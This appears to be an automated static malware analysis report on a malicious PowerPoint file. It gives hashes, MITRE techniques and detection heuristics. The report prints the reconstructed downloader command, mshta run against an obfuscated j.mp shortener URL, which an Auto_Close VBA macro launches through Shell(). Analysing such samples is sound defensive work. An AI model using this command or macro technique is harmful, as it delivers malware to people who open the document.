Malicious Office (OLE) / .PPT — malware analysis report

Static analysis result for SHA-256 5b2848fb4012460b…

MALICIOUS

Office (OLE) / .PPT

71.5 KB Created: 2020-05-15 22:53:21 Authoring application: Microsoft Office PowerPoint
MD5: ea23c9d497a573674d03d1b992982eba SHA-1: ee6ed7e957cc1a1393199eb59188e5208e8ae743 SHA-256: 5b2848fb4012460b45009a1994a28b2ea8d003660c061123d0bbf81bcdf46cd3
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains VBA macros that are automatically executed upon opening. The Auto_Close macro calls a function that uses the Shell() command to execute a string constructed from concatenated parts. This string resolves to 'm' + 's' + 'h' + 'ta http://%20%20@j.mp/asdxasffxasdasddxodkasodkaos', which likely results in the execution of a PowerShell command to download a second-stage payload from the provided URL. The use of Shell() and the construction of the command string indicate a downloader functionality.

Heuristics 5

  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://%20%20@j.mp/asdxasffxasdasddxodkasodkaos

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
73f19954e193cec7a68185d86c745e7dc45931759746695f2d8d7aa2504c9b74		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 540 bytes

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